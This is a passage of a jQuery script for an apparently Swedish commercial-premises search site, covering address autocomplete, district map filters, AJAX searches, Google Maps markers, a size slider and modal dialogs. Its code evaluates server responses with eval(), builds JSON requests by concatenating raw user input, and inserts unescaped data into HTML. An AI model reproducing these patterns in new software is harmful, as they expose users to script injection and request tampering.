					type: "POST",
					url: "/templates/services/SearchService.asmx/AddressSearch",
					cache: false,
					data: "{'searchString':'" + $(this).attr('value') + "' }",
					contentType: "application/json; charset=utf-8",
					dataType: "json",
					beforeSend: function () {

					},
					error: function () {
					},
					success: function (data) {
						var result = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d;
						$('#intel-search-result li').remove();
						var item = '';
						$(result).each(function (i, obj) {
							item += '<li><a href="#">' + obj.display + '</a></li>'
						});
						$(resultList).append(item);
						$(resultList).find('li a').bind('click', function (e) {
							e.preventDefault();
							$(searchFields).val($(this).text());
							$(resultList).hide();
						});

						FUNCTIONS.NavigateSearch(searchFields, resultList);

					},
					complete: function () {

					}
				});
			} else if ($(this).attr('value').length < 2 && e.keyCode == 8) {
				var resultList = $('#intel-search-result');
				$(resultList).hide();
			}
		});
	});
};
FUNCTIONS.NavigateSearch = function (searchFields, resultList) {
	var currentSelection = 0;
	var currentUrl = '';
	$(searchFields).keydown(function (e) {
		switch (e.keyCode) {
			case 9:
				e.preventDefault();
				NavigateSearchNavigate('down', resultList);
				break;
		}
	});
	$(document).keydown(function (e) {
		switch (e.keyCode) {
			case 38:
				e.preventDefault();
				NavigateSearchNavigate('up', resultList);
				break;
			case 40:
				e.preventDefault();
				NavigateSearchNavigate('down', resultList);
				break;
		}
	});
	$(document).keyup(function (e) {
		switch (e.keyCode) {
			case 13:
				if (currentUrl != '') {
					$(searchFields).val(currentUrl);
					$(resultList).hide();
					$(searchFields).focus();
				}
				break;
		}
	});
	function NavigateSearchNavigate(direction) {
		// Check if any of the menu items is selected
		if ($("#intel-search-result li.itemhover a").size() == 0) {
			currentSelection = -1;
		}
		if (direction == 'up' && currentSelection != -1) {
			if (currentSelection != 0) {
				currentSelection--;
			}
		} else if (direction == 'down') {
			if (currentSelection != $("#intel-search-result li a").size() - 1) {
				currentSelection++;
			}
		}
		NavigateSearchSetSelected(currentSelection);
	};
	function NavigateSearchSetSelected(menuitem) {
		$("#intel-search-result li").removeClass("itemhover");
		$("#intel-search-result li").eq(menuitem).addClass("itemhover");
		$("#intel-search-result li").eq(menuitem).find('a').focus();
		currentUrl = $("#intel-search-result li a").eq(menuitem).text();
	};
};
FUNCTIONS.PremiseListSearchMap = function () {
	var map = $('#area-search-map ul');
	$(map).css({
		background: 'transparent url(/ui/gfx/bg-search-list-map.png) no-repeat 0 0'
	});
	$(map).find('li').css({
		border: '1px solid #83807d',
		background: 'none',
		position: 'absolute'
	});
	// Visa alla
	$(map).children(':eq(0)').css({ display: 'none' });
	$(map).children(':eq(1)').css({ width: 78 + 'px', height: 48 + 'px', top: 63 + 'px', left: 65 + 'px' });
	$(map).children(':eq(2)').css({ width: 57 + 'px', height: 30 + 'px', top: 29 + 'px', left: 45 + 'px' });
	$(map).children(':eq(3)').css({ width: 47 + 'px', height: 19 + 'px', top: 116 + 'px', left: 130 + 'px' });
	$(map).children(':eq(4)').css({ width: 190 + 'px', height: 13 + 'px', top: 0, left: 20 + 'px', borderTop: 'none' });
	$(map).children(':eq(5)').css({ width: 190 + 'px', height: 13 + 'px', bottom: 0, left: 20 + 'px', borderBottom: 'none' });
	$(map).find('li').each(function (i, elm) {
		$(elm).attr('title', $(elm).text());
		$(elm).find('span').css({display: 'block',width: $(this).width() + 'px', height: $(this).height() + 'px', background: '#000000', opacity: 0.11});
	});
	$(map).find('input').css({position: 'absolute',left: '-9999em'});
	$(map).find('label').css({position: 'absolute',left: '-9999em'});
	$(map).find('span').mouseover(function () {
		$(this).css('background','#7b308d');
	}).mouseout(function () {
		$(this).css('background','#000000');
	});

	$('#extended-search').after('<div id="area-filter" />');
	var fieldset = $('#extended-search fieldset');
	$(map).find('li').bind('click', function () {
		var input = $(this).find('input');
		$(this).toggleClass('selected');
		if ($(this).hasClass('selected')) {
			$(input).attr('checked', true);
		} else {
			$(input).attr('checked', false);
		}
		SYS.premiseDistrict = '';
		var selectedSubDistrict = '';
		$(map).find('input').each(function (i, inp) {
			if ($(inp).is(':checked')) {
				SYS.premiseDistrict += $(inp).val() + ',';
				selectedSubDistrict += $(inp).parent().text();
			}
		});
		if ($(fieldset).is(':visible')) FUNCTIONS.PremiseFilterUpdate();
		FUNCTIONS.PremiseSearchUpdate();
	});
	var searchTab = $('#content-tab-nav');
	var searchResult = $('#search-result');
	$(searchTab).find('li').bind('click', function () {
		if (!$(this).hasClass('selected')) {
			$(this).parent().children().toggleClass('selected');
			$(searchResult).children('div').hide();
			$(searchResult).children('div').eq($(this).prevAll().length).show();
			FUNCTIONS.PremiseSearchUpdate();
			FUNCTIONS.PremiseFilterUpdate();
		}
	});

};
FUNCTIONS.PremiseSearchOLDOLDOLD = function(){
	// disable form submit on page
	$('form').submit(function(){return false});
	
	var extendedSearch = $('#extended-search');
	var fieldset = $(extendedSearch).find('fieldset').eq(0).css({
		display:'none'
	});
	var extendText = $(extendedSearch).find('h2');
	$(extendText).hide();
	$(extendedSearch).prepend('<span id="extend">' + $(extendText).text() + '</span>');
	$('#extend').bind('click', function(){
		$(this).toggleClass('selected');
		$(this).hasClass('selected') == false ? $(fieldset).fadeOut(function(){
			SYS.premiseSearchString = '';
			SYS.premiseType = '';
			SYS.premiseDistrict = ''		 
			$('#area-search-map').find('input').each(function(i, inp){
				if($(inp).is(':checked')){
					SYS.premiseDistrict += $(inp).val() + ',';
				}
			});
			FUNCTIONS.PremiseSearchUpdate();
		}) : $(fieldset).fadeIn(function(){
				FUNCTIONS.PremiseFilterUpdate();
			});
	});	
	FUNCTIONS.PremiseSearchUpdate();
	FUNCTIONS.PremiseExtendedFilterUpdate();
};
FUNCTIONS.PremiseSearchUpdate = function() {

	// search filter to URI
	var searchResultList = $('#search-result-list');
	var searchResultMap = $('#search-result-map');
	var searchResultTableContent = $(searchResultList).find('table');
	var searchResultDisplayType = ($('#content-tab-nav').find('li.selected').attr('id'));
	switch (searchResultDisplayType) {
		case 'search-list':
			var searchMethod = 'PremisesSearch';
			break;
		case 'search-map':
			var searchMethod = 'PremisesMapSearch';
			break;
	}
	
	var searResultInfo = $('#area-filter');
	$.ajax({
		type: "POST",
		url: "/Templates/Services/SearchService.asmx/" + searchMethod,
		cache: false,
		data: "{'district':'" + SYS.premiseDistrict + "', 'minArea':" + SYS.premiseMin + ", 'maxArea':" + SYS.premiseMax + ", 'searchString':'" + SYS.premiseSearchString + "', 'type':'" + SYS.premiseType + "', 'sortBy':" + SYS.premiseSearchSortBy + ", 'ascending':" + SYS.premiseSearchAscending + ", 'language':'sv'}",
		contentType: "application/json; charset=utf-8",
		dataType: "json",
		beforeSend: function() {
			$('#search-result h2, #content-tab-nav').fadeIn('slow');
			switch (searchResultDisplayType) {
				case 'search-list':
					if ($(searchResultList).is(':hidden')) {
						$(searchResultList).fadeIn('slow');
					}
					$(searchResultTableContent).find('tbody').remove();
					break;
				case 'search-map':
					break;
			}
			$(searResultInfo).html('<img src="/ui/gfx/loader-violette.gif" alt="" />&nbsp;' + LANG.SearchingVacantPremise + '');
		},
		error: function(e) {
			$(searResultInfo).html('<span class="error">' + LANG.SearchError + '</span>');
		},
		success: function(data) {
			var result = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d;
			$(searchResultTableContent).find('tbody').remove();
			var length = 0;
			if (searchResultDisplayType === 'search-map'){
				$(result).each(function(i, obj){
					length += obj.Premises.length
				});
			}else{
				length = result.length
			}

			if (length == 1){
				$(searResultInfo).html('<span>' + LANG.searchResult[0] + ' ' + length + ' ' + LANG.searchResult[1] + '</span>&nbsp;&nbsp;&nbsp;<a href="#search-result" title="' + LANG.searchResult[2] + '">' + LANG.searchResult[2] + '</a>');
			}else{
				$(searResultInfo).html('<span>' + LANG.searchResult[0] + ' ' + length + ' ' + LANG.searchResult[1] + '</span>&nbsp;&nbsp;&nbsp;<a href="#search-result" title="' + LANG.searchResult[2] + '">' + LANG.searchResult[2] + '</a>');
			}
			switch (searchResultDisplayType) {
				case 'search-list':
					var searchMethod = 'PremisesSearch';
					$('#searching', searchResultList).remove();
					var thumbs = []
					var tbody = '<tbody>';
					if (result.length > 0) {
						$(result).each(function(i, obj) {
							thumbs[i] = '<img src="' + obj.Image + '" alt="" />';
										
							if (i == 0) {
								tbody += '<tr class="first">';
							} else {
								tbody += '<tr>';
							}
							tbody += '<td>' + obj.District + '</td>';
							tbody += '<td>';
							tbody += '<a name="tooltip" href="' + obj.Link + '" title="' + obj.Street + '"  rel="' + obj.Image + '" class="new-win">' + obj.Street + '</a><br />' + obj.Description;
							tbody += '</td>';
							tbody += '<td>' + obj.Type + '</td>';
							tbody += '<td class="last">' + FUNCTIONS.Thousands(obj.Area) + '</td>';
							tbody += '</tr>';
						});
					} else {
						$(searResultInfo).html('<span class="error">' + LANG.NoSearchResult + '</span>');
					}
					tbody += '</tbody>';
					$(searchResultTableContent).append(tbody);
					
					$(tbody).find('a').each(function(i, elm){
						$(elm).data('tooltipImage', thumbs[i]);
					});
					break;
				case 'search-map':
				
					var initMapSettings = {
						zoom: 13,
						center: new google.maps.LatLng(59.339493, 18.056717),
						mapTypeId: google.maps.MapTypeId.ROADMAP
					};

					var map = new google.maps.Map(document.getElementById('gmap-canvas'), initMapSettings);
							  
					var location = [];
					var premises = [];
					var pinUrl = [];
					$(result).each(function(i, obj) {
						location[i] = [obj.Location.Address, obj.Location.Latitude, obj.Location.Longitude, i];
						premises[i] = obj.Premises;
						pinUrl[i] = '/ui/gfx/gmap-pin-'+obj.Premises.length+'.png';
						if (obj.Premises.length > 10) pinUrl[i] = '/ui/gfx/gmap-pin-10.png';
					});
				
					var shadow = new google.maps.MarkerImage('/ui/gfx/gmap-pin-shadow.png',
						new google.maps.Size(28, 7),
						new google.maps.Point(0, 0),
						new google.maps.Point(0, 7));
					var shape = {
						coord: [1, 1, 1, 20, 18, 20, 18, 1],
						type: 'poly'
					};
					
					var infowindow = new google.maps.InfoWindow();
					var bounds = new google.maps.LatLngBounds();
					var contentStringArray = [];
					
					$(location).each(function(i, obj) {
						var image = new google.maps.MarkerImage(pinUrl[i],
							new google.maps.Size(18, 27),
							new google.maps.Point(0, 0),
							new google.maps.Point(0, 27));
						var premiseLatLng = new google.maps.LatLng(obj[1], obj[2]);
						var marker = new google.maps.Marker({
							position: premiseLatLng,
							map: map,
							shadow: shadow,
							icon: image,
							shape: shape,
							title: obj[0],
							zIndex: obj[3]
						});
						var contentString = '';
						$(premises[i]).each(function(j, info) {
							contentString += '<div class="gmap-premises">' +
							'<img src="' + info.Image + '" alt="' + info.Street + '" width="100" />' +
							'<p><strong><a href="' + info.Link + '" title="' + info.Street + '" class="new-win">' + info.Street + '</a></strong><br />' +
							info.District + '<br />' +
							info.Type + ', ' + info.Area + ' ' + LANG.PremiseSize + '<br />' +
							 info.Description + '</p>' +
							'</div>';
						});
						contentStringArray[i] =  contentString;
						infowindow.maxWidth = 340;
						google.maps.event.addListener(marker, 'click', function() {
							infowindow.content = contentStringArray[i];
							infowindow.open(map, marker);
						});
						
						bounds.extend(premiseLatLng);
						map.fitBounds(bounds);
					});
					break;
			}
		},
		complete: function() {
			FUNCTIONS.NewWin.init();
		}
	});
};
FUNCTIONS.PremiseFilterUpdate = function() {
	var areaCont = $('#area-search-map ul li');
	var area = {};
	$(areaCont).each(function(i, elm){
		if ($(elm).find('input')) {
			area[$(elm).find('label').text()] = $(elm).find('input').val();
		}
	});
	var dropDown = $('#extended-search').find('ul').eq(0);
	var newDropdown = '';
	newDropdown += '<select name="' + $(dropDown).attr('id')  + '" class="func-FUNCTIONS.PremiseExtendedFilterUpdateArea">';
	for (key in area){
		newDropdown += '<option value="">' + key + '</option>';
		$(area[key].split(',')).each(function(i, obj){
			newDropdown += '<option value="' + obj + '">' + obj + '</option>';
		});
	}
	newDropdown += '</select>';
	$(dropDown).next().remove();
	$(dropDown).replaceWith(newDropdown);
	$('#content').FormSelectRestyled(true, 'form-drop-down', '--', 0);	
};
FUNCTIONS.PremiseExtendedFilterUpdate = function(){
	var extendedSearch = $('#extended-search');
	var textInput = $('.input', extendedSearch);
	$(textInput).keyup(function(e) {
		if ($(this).attr('value').length > 3 && e.keyCode >= 65 && e.keyCode <= 90 || $(this).attr('value').length > 3 && e.keyCode >= 48 && e.keyCode <= 57 ||  e.keyCode == 8 || e.keyCode == 46) {
			SYS.premiseSearchString = $(this).val();
			FUNCTIONS.PremiseSearchUpdate();
		}
	});
};
FUNCTIONS.PremiseExtendedFilterUpdateArea = function(id){
	var value = $('#extended-search input[name=' + id + ']').val();
	SYS.premiseDistrict = value;
	FUNCTIONS.PremiseSearchUpdate();
};
FUNCTIONS.PremiseExtendedFilterUpdateType = function(id){
	var value = $('#extended-search input[name=' + id + ']').val();
	SYS.premiseType = value;
	FUNCTIONS.PremiseSearchUpdate();
};
FUNCTIONS.AreaSlider = function(areaSlider) {
	$(areaSlider).each(function(i, elm) {
		if ($(elm).parent().hasClass('search')) {
			$(elm).find('fieldset').before('<ul class="premise-size clearfix"><li class="small"><a href="#" title="' + LANG.PremiseSmall + '">' + LANG.PremiseSmall + '</a></li><li class="medium"><a href="#" title="' + LANG.PremiseMedium + '">' + LANG.PremiseMedium + '</a></li><li class="large"><a href="#" title="' + LANG.PremiseLarge + '">' + LANG.PremiseLarge + '</a></li></ul>').remove();
			$(elm).find('ul.premise-size').after('<div id="slider-' + i + '" class="slider"><div></div></div><input type="text" id="size-' + i + '" name="size-' + i + '" class="size" />');

			var sizeFilterMin = $(elm).parent().find('input[name=size-filter-min]').val();
			var sizeFilterMax = $(elm).parent().find('input[name=size-filter-max]').val();
			var SliderStarValues = [];
			
			if (sizeFilterMin >= 0) {
				SliderStarValues[0] = sizeFilterMin;
				SYS.premiseMin = FUNCTIONS.getValFromPos(sizeFilterMin);
			} else {
				SliderStarValues[0] = SYS.sliderMinKvm;
				SYS.premiseMin = SYS.sliderMinKvm;
			}
			if (sizeFilterMax >= 0) {
				SliderStarValues[1] = sizeFilterMax;
				SYS.premiseMax = FUNCTIONS.getValFromPos(sizeFilterMax);
			} else {
				SliderStarValues[1] =  SYS.sliderMaxKvm;
				SYS.premiseMax = FUNCTIONS.getValFromPos(SYS.sliderMaxKvm);
			}
			FUNCTIONS.PremiseListSearchMap();
			FUNCTIONS.PremiseSearch();

			$('#slider-' + i + ' div').slider({
				range: true,
				values: [SliderStarValues[0], SliderStarValues[1]],
				min: SYS.sliderMinKvm,
				max: SYS.sliderMaxKvm,
				step: SYS.sliderStep,
				slide: function(event, ui) {
					$('#size-' + i).val(FUNCTIONS.Thousands(FUNCTIONS.getValFromPos(ui.values[0])) + ' - ' + FUNCTIONS.Thousands(FUNCTIONS.getValFromPos(ui.values[1])) + ' ' + LANG.PremiseSize + '');
				},
				stop: function(event, ui) {
					SYS.premiseMin = FUNCTIONS.getValFromPos(ui.values[0]);
					SYS.premiseMax = FUNCTIONS.getValFromPos(ui.values[1]);
					FUNCTIONS.PremiseSearchUpdate();
				}
			});
		} else if ($(elm).hasClass('col')) {
			$(elm).find('fieldset').before('<ul class="premise-size clearfix"><li class="small"><a href="#" title="' + LANG.PremiseSmall + '">' + LANG.PremiseSmall + '</a></li><li class="medium"><a href="#" title="' + LANG.PremiseMedium + '">' + LANG.PremiseMedium + '</a></li><li class="large"><a href="#" title="' + LANG.PremiseLarge + '">' + LANG.PremiseLarge + '</a></li></ul>').remove();
			var submitName = $(elm).find('input[type=submit]').attr('name');
			$(elm).find('ul.premise-size').after('<div id="slider-' + i + '" class="slider"><div></div></div><input type="text" id="size-' + i + '" name="' + submitName + '-size" class="size" /><input type="hidden" id="min-' + i + '" name="' + submitName + '-min" value="" /><input type="hidden" id="max-' + i + '" name="' + submitName + '-max" value="" />');

			$('#slider-' + i + ' div').slider({
				range: true,
				values: [SYS.sliderMinKvm, SYS.sliderMaxKvm],
				min: SYS.sliderMinKvm,
				max: SYS.sliderMaxKvm,
				step: SYS.sliderStep,
				slide: function(event, ui) {
				var appendToSize = ' ';
					if(ui.values[1] == 10000) appendToSize = '+ ';
					$('#size-' + i).val(FUNCTIONS.Thousands(FUNCTIONS.getValFromPos(ui.values[0])) + ' - ' + FUNCTIONS.Thousands(FUNCTIONS.getValFromPos(ui.values[1])) +  appendToSize + LANG.PremiseSize + '');
					$('#min-' + i).val(ui.values[0]);
					$('#max-' + i).val(ui.values[1]);
				}
			});
		}
		$('#slider-' + i, $(elm)).append('<span class="left">' + SYS.sliderMinKvm + ' ' + LANG.PremiseSize + '</span><span class="right">' + FUNCTIONS.Thousands(SYS.sliderMaxKvm) + '+ ' + LANG.PremiseSize + '</span>');
		$('#size-' + i).val(FUNCTIONS.getValFromPos($('#slider-' + i + ' div').slider('values', 0)) + ' - ' + FUNCTIONS.Thousands(FUNCTIONS.getValFromPos($('#slider-' + i + ' div').slider('values', 1))) + '+ ' + LANG.PremiseSize + '');
		$('#min-' + i).val($('#slider-' + i + ' div').slider('values', 0));
		$('#max-' + i).val(Math.round($('#slider-' + i + ' div').slider('values', 1)));
	   
		var premiseSize = $('ul.premise-size a');
		var minMaxValues = [];
		$(premiseSize).bind('click', function() {
			var className = $(this).parent().attr('class');
			if (className == 'small') {
				$('#slider-' + i + ' div').slider('option', 'values', [SYS.sliderMinKvm, SYS.sliderMaxKvm / 3]).slider('enable');
				$('#size-' + i).val(FUNCTIONS.Thousands(SYS.sliderMinKvm) + ' - ' + FUNCTIONS.Thousands(SYS.sliderInterval1) + ' ' + LANG.PremiseSize + '');
				minMaxValues = $('#slider-' + i + ' div').slider( "option", "values" );
				$('#min-' + i).val(minMaxValues[0]);
				$('#max-' + i).val(Math.round(minMaxValues[1]));
				SYS.premiseMin = SYS.sliderMinKvm;
				SYS.premiseMax = SYS.sliderInterval1;
			} else if (className == 'medium') {
				$('#slider-' + i + ' div').slider('option', 'values', [SYS.sliderMaxKvm / 3 + 1, SYS.sliderMaxKvm / 3 * 2]).slider('enable');
				$('#size-' + i).val(FUNCTIONS.Thousands(SYS.sliderInterval1 + 1) + ' - ' + FUNCTIONS.Thousands(SYS.sliderInterval2) + ' ' + LANG.PremiseSize + '');
				minMaxValues = $('#slider-' + i + ' div').slider( "option", "values" );
				$('#min-' + i).val(Math.round(minMaxValues[0]));
				$('#max-' + i).val(parseInt(minMaxValues[1]));
				SYS.premiseMin = SYS.sliderInterval1;
				SYS.premiseMax = SYS.sliderInterval2;
			} else if (className == 'large') {
				$('#slider-' + i + ' div').slider('option', 'values', [SYS.sliderMaxKvm / 3 * 2 + 1, SYS.sliderMaxKvm]).slider('enable');
				$('#size-' + i).val(FUNCTIONS.Thousands(SYS.sliderInterval2 + 1) + ' - ' + FUNCTIONS.Thousands(SYS.sliderMaxKvm) + '+ ' + LANG.PremiseSize + '');
				minMaxValues = $('#slider-' + i + ' div').slider( "option", "values" );
				$('#min-' + i).val(parseInt(minMaxValues[0]));
				$('#max-' + i).val(Math.round(minMaxValues[1]));
				SYS.premiseMin = SYS.sliderInterval2;
				SYS.premiseMax = SYS.sliderMaxKvm;
			}
			FUNCTIONS.PremiseSearchUpdate();
			return false;
		});
	});
};
FUNCTIONS.getUrlVars = function() {
	var vars = [], hash;
	var hashes = window.location.href.slice(window.location.href.indexOf('#') + 1).split('&');
	for (var i = 0, m = hashes.length, hash = null; i < m; i++) {
		hash = hashes[i].split('=');
		vars.push(hash[0]);
		vars[hash[0]] = hash[1];
	}
	return vars;
};
FUNCTIONS.getValFromPos = function(pos) {
	var o = 0;
	var p = 0;
	var v;
	for (var i = 0, m = SYS.intervals.length, obj1 = null; i < m; i++) {
		obj1 = SYS.intervals[i];
		if (pos > o + obj1.len) {
			o += obj1.len;
			p += obj1.max;
		} else {
			if (obj1.log && p > 0) {
				v = Math.exp(Math.log(p) + (pos - o) * (Math.log(obj1.max) - Math.log(p)) / obj1.len);
			} else {
				v = p + (pos - o) * (obj1.max - p) / obj1.len;
			}
			for (var j = 0, n = SYS.intervals.length, obj2 = null; j < n; j++) {
				obj2 = SYS.rounding[j];
				v = Math.round(v / obj2.r) * obj2.r;
				if (v <= obj2.v) break;
			}
			return v;
		}
	}
	return -1;
};
FUNCTIONS.Modal = function (content, pos) {

    var fade = $('<div id="fade"></div>');
    $(fade).css({
        width: SYS.winWidth,
        height: SYS.docHeight,
        opacity: 0
    }).appendTo(document.body);
	
    $(fade).fadeTo('normal', 0.8, function () {
        if (content == 'sitemap') {
            $.ajax({
                type: "GET",
                url: "/[MOCKUPS]/sitemap-ajax.html",
                cache: false,
                data: "{ }",
                contentType: "application/html; charset=utf-8",
                dataType: "html",
                beforeSend: function () {
                    $('body').append('<div id="modal" class="sitemap shadow"><span id="close"><span>' + LANG.Close + '</span></span><div id="modal-inner" class="clearfix"></div>');
                    $('#modal').css({
                        height: '0px',
                        left: SYS.winWidth / 2 - $('#modal').width() / 2
                    });
                    $('#modal-inner').append('<div id="loading">' + LANG.Loading + ' ' + content + '</div>');
                },
                error: function () {
                    $('#modal-inner').append('<div id="error">' + LANG.ModalError[0] + ' ' + content + '.<br />' + LANG.ModalError[1] + '</div>');
                    $('#modal-inner div').css({ opacity: 0 });
                },
                success: function (result) {
                    $('#modal-inner').append(result);
                    $('#modal-inner div').css({ opacity: 0 });
                },
                complete: function () {
                    $('#loading').remove();
                    $('#modal').animate({
                        height: $('#modal-inner').height()
                    }, function () {
                        $('#modal-inner div').animate({ opacity: 1 }, 'fast');
                    });
                }
            });
        } else if (content == 'map') {
            if (!pos) {
                pos = 0;
            }
            $.ajax({
                type: "POST",
                url: "/Templates/Services/SearchService.asmx/PremisesPopup",
                cache: false,
                data: "{'pageid':" + pos + ", 'language':'sv'}",
                contentType: "application/json; charset=utf-8",
                dataType: "json",
                beforeSend: function () {
                    $('body').append('<div id="modal" class="shadow"><span id="close" title="' + LANG.Close + '"><span>' + LANG.Close + '</span></span><div id="modal-inner" class="clearfix"><h2></h2><div id="search-result-map-modal"><div id="gmap-canvas-modal"></div></div></div>');
                    $('#modal').css({
                        height: '0px',
                        top: parseInt($('body,html').scrollTop(), 10),
                        left: parseInt(SYS.winWidth / 2 - $('#modal').width() / 2, 10)
                    });
                    if ($('html').hasClass('ie') === false) {
                        $('#modal').css({
                            position: 'fixed',
                            top: '0'
                        });
                    }
                    $('#modal-inner').append('<div id="loading">' + LANG.Loading + '</div>');
                },
                error: function () {
                    $('#loading').remove();
                    $('#modal-inner').append('<div id="error">' + LANG.ModalError[0] + ' ' + content + '.<br />' + LANG.ModalError[1] + '</div>');
                    $('#modal-inner div').css({ opacity: 0 });
                },
                success: function (data) {
                    var result = (typeof data.d) == 'string' ? eval('(' + data.d + ')') : data.d;
                    $('#loading').remove();
                    $('#modal').css({
                        height: '554px'
                    });
                    $('#modal-inner h2').text(result.Address);
                    initializepopup('gmap-canvas-modal', result.JS);
                }
            });
            // Ger underliga effekter i IE8
            //            $('#modal').animate({
            //                height: $('#modal-inner').height()
            //            }, function () {
            //                $('#modal-inner div').animate({ opacity: 1 }, 'fast');
            //            });
        } else if (content == 'images' || content == 'allimages') {
            $('body').append('<div id="modal" class="images shadow"><span id="close"><span>' + LANG.Close + '</span></span><div id="modal-inner" class="clearfix"></div>');
            FUNCTIONS.ModalUpdate();

            if (SYS.pushResult && SYS.pushResult.length > 0) {
                $(SYS.pushResult).each(function (i, elm) {
                    var ImageItem = $('<div><h1>' + elm.heading + '</h1><img src="' + elm.image + '" alt="' + elm.heading + '" title="' + elm.heading + '" /></div>')
                    $('#modal-inner').append(ImageItem);
                });
            } else {
                $("a[name='modal'][rel = 'images']").each(function (i, elm) {
                    elm = $(elm);
                    var href = elm.attr('href'),
						imgtitle = elm.find('img').attr('title'),
						ImageItem = $('<div><h1>' + elm.attr('title') + '</h1><img src="' + elm.find('img').attr('src') + '" alt="' + elm.find('img').attr('alt') + '" title="' + elm.attr('title') + '" /></div>')


                    if (imgtitle && imgtitle != '' && imgtitle.length > 0) {
                        $('<p>' + imgtitle + '</p>').appendTo(ImageItem);
                    }
                    if (href && href != '' && (href.indexOf('png') > -1 || href.indexOf('gif') > -1 || href.indexOf('jpg') > -1)) {
                        var linkText = 'Ladda ner bilden';
                        if (elm.find('span.DownloadLink').length > 0) {
                            linkText = elm.find('span.DownloadLink').html();
                        }
                        $('<a href="' + href + '" class="iconlink image-icon">' + linkText + '</a>').appendTo(ImageItem);
                    }

                    $('#modal-inner').append(ImageItem);
                })
            }
            if (content == 'allimages') {
                var width = $('#modal-inner').width();
                var height = $('#modal-inner').height();
                $('#modal-inner').find('div').css({ display: 'none' });

                $('#modal').animate({
                    width: width + 40,
                    height: height,
                    marginLeft: -width / 2 - 20
                }, function () {
                    $('#modal-inner').find('div').fadeIn('fast', function () {
                        FUNCTIONS.ModalUpdate();
                    });
                });
            }
            if (content == 'images') {
                var currImg = $('#modal-inner').find('div').eq(pos),
					totalCount = (SYS.pushResult && SYS.pushResult.length > 0) ? SYS.pushResult.length : $("a[name='modal'][rel = 'images']").length;
                $('#modal').after('<ul id="modal-image-nav"><li class="arrow prev"><span>Previous</span></li><li class="count">' + ($(currImg).prevAll().length + 1) + '/' + totalCount + '</li><li class="arrow next"><span>next</span></li></ul>');
                $('#modal-image-nav').css({
                    left: SYS.winWidth / 2 - $('#modal-image-nav').width() / 2,
                    display: 'none'
                });
                if (pos == 0) {
                    $('#modal-image-nav li.prev').addClass('inactive');
                } else if (pos == totalCount - 1) {
                    $('#modal-image-nav li.next').addClass('inactive');
                }

                if (totalCount === 1) {
                    $('#modal-image-nav .arrow').hide();
                }

                Cufon.replace('#modal h1');
                var widthArray = [];
                $('#modal-inner').find('img').each(function (i, elm) {
                    widthArray[i] = $(elm).width();
                });

                $('#modal-inner').find('div').css({ display: 'none' });

                $('#modal').animate({
                    width: $(currImg).width() + 40 + 'px',
                    height: $(currImg).height(),
                    marginLeft: -$(currImg).width() / 2 - 20 + 'px',
					top:($(window).scrollTop()+10) + 'px'
                }, function () {
                    $(currImg).fadeIn();
                    $('#modal-image-nav').fadeIn();
                    $('#modal-image-nav li.arrow').bind('click', function () {
                        if ($(this).hasClass('inactive')) return;
                        $('#modal-image-nav li.arrow').removeClass('inactive');
                        if ($(this).hasClass('next')) {
                            var img = $(currImg).next();
                            if ($(img).nextAll().length == 0) {
                                $(this).addClass('inactive');
                            }
                        } else if ($(this).hasClass('prev')) {
                            var img = $(currImg).prev();
                            if ($(img).prevAll().length == 0) {
                                $(this).addClass('inactive');
                            }
                        }
                        $(currImg).fadeOut('fast', function () {
                            $('#modal').animate({
                                width: widthArray[$(img).prevAll().length] + 40 + 'px',
                                height: $(img).height(),
                                marginLeft: -widthArray[$(img).prevAll().length] / 2 - 20 + 'px'
                            }, 'normal', function () {
                                $(img).fadeIn('fast');
                                $('.count', '#modal-image-nav').text($(img).prevAll().length + 1 + '/' + totalCount);
                                currImg = img;
                            });

                        });
                    });
                });
            }
        }
    });
    $('#close,#fade').live('click', function () {
        $(fade).nextAll().remove();
        $(fade).remove();
    });
};
FUNCTIONS.ModalUpdate = function() {
	$('#fade').css({
		width: SYS.winWidth,
		height: SYS.docHeight
	});
	$('#modal').css({
		left: SYS.winWidth / 2 - $('#modal-sitemap').width() / 2
	});
	if ($('#modal-image-nav').length > 0) {
		$('#modal-image-nav').css({
			left: SYS.winWidth / 2 - $('#modal-image-nav').width() / 2
		});
	}
};
FUNCTIONS.ReadMore = function () {
	$('#search-result-list a.readmore').bind('click', function () {
		$('#tooltip').remove();
		var text = $(this).next().text();
		var topic = $(this).attr('rel');
		var url = $(this).attr('href');
		var linkText = (LANG.lang === 'sv') ? 'Läs mer om' : 'Read more about';
		var tooltip = $('<div id="tooltip"><p><strong>' + topic + '</strong><br />' + text + '<br /><br /><a href="'+ url +'">'+ linkText +' '+ topic +'</a></p></div>');
		var offset = $(this).offset();
		$('body').append(tooltip);
		$(tooltip).css({
			top: offset.top - $(tooltip).outerHeight() + 'px',
			left: offset.left + 'px'
		}).fadeIn(200);
		$('#tooltip').bind('mouseleave', function () {
			$('#tooltip').remove();
		});
		return false;
	});
};
FUNCTIONS.ToolTip = function () {
	$('#search-result-list img.tooltip').each(function () {
		$('#tooltip').remove();
		var image = $(this);
		var link = image.next();
		var tooltip = $('<div id="tooltip"><p></p></div>');
		link.bind('mouseenter', function () {
			var offset = link.offset();
			$(tooltip).find('p').empty().append(image);
			$(tooltip).appendTo(document.body);
			$(tooltip).css({
				top: parseInt(offset.top - $(tooltip).height(), 10) + 'px',
				left: offset.left + 'px'
			}).stop().fadeIn(200);
		}).bind('mouseleave', function () {
			$('#tooltip').remove();
		});
	});
};
FUNCTIONS.ToggleBox = function(box){
	$(box).children().not(':first-child').hide();
	$(box).children(':first-child').bind('click', function(){
		$(box).children().toggle();
		return false;
	});
};
FUNCTIONS.ImageCaption = function(){
	$('img.caption').each(function(i, elm){
		$(elm).load(function() {
			$(elm).css({display:'block'});
			$(elm).wrap('<div class="image-caption" />').parent().css({
				width:$(elm).width() + 'px'
			}).append('<span>' + $(elm).attr('alt') + '</span>');
		}).attr('src', $(elm).attr('src'));
	});
};
FUNCTIONS.Share = function () {
	var share = $('.email', '#share');
	$(share).bind('click', function () {
		if ($('#share-box').length == 0) {
			var shareBox = $('<div id="share-box"><div><p><strong>' + LANG.Share[0] + '</strong><label for="toEmail">' + LANG.Share[1] + '</label><br /><input id="toEmail" name="toEmail" type="text" class="input" /><label for="fromEmail">' + LANG.Share[2] + '</label><br /><input id="fromEmail" name="fromEmail" type="text" class="input" /><span class="btn btn-gray"><input id="share-submit" type="submit" value="' + LANG.Share[3] + '"></span></p></div><span id="share-close"></span></div>');
			var offset = $(this).offset();
			$('body').append(shareBox);
			$(shareBox).TextfieldPlaceholders();
			$(shareBox).css({
				top: offset.top + $(this).height() + 'px',
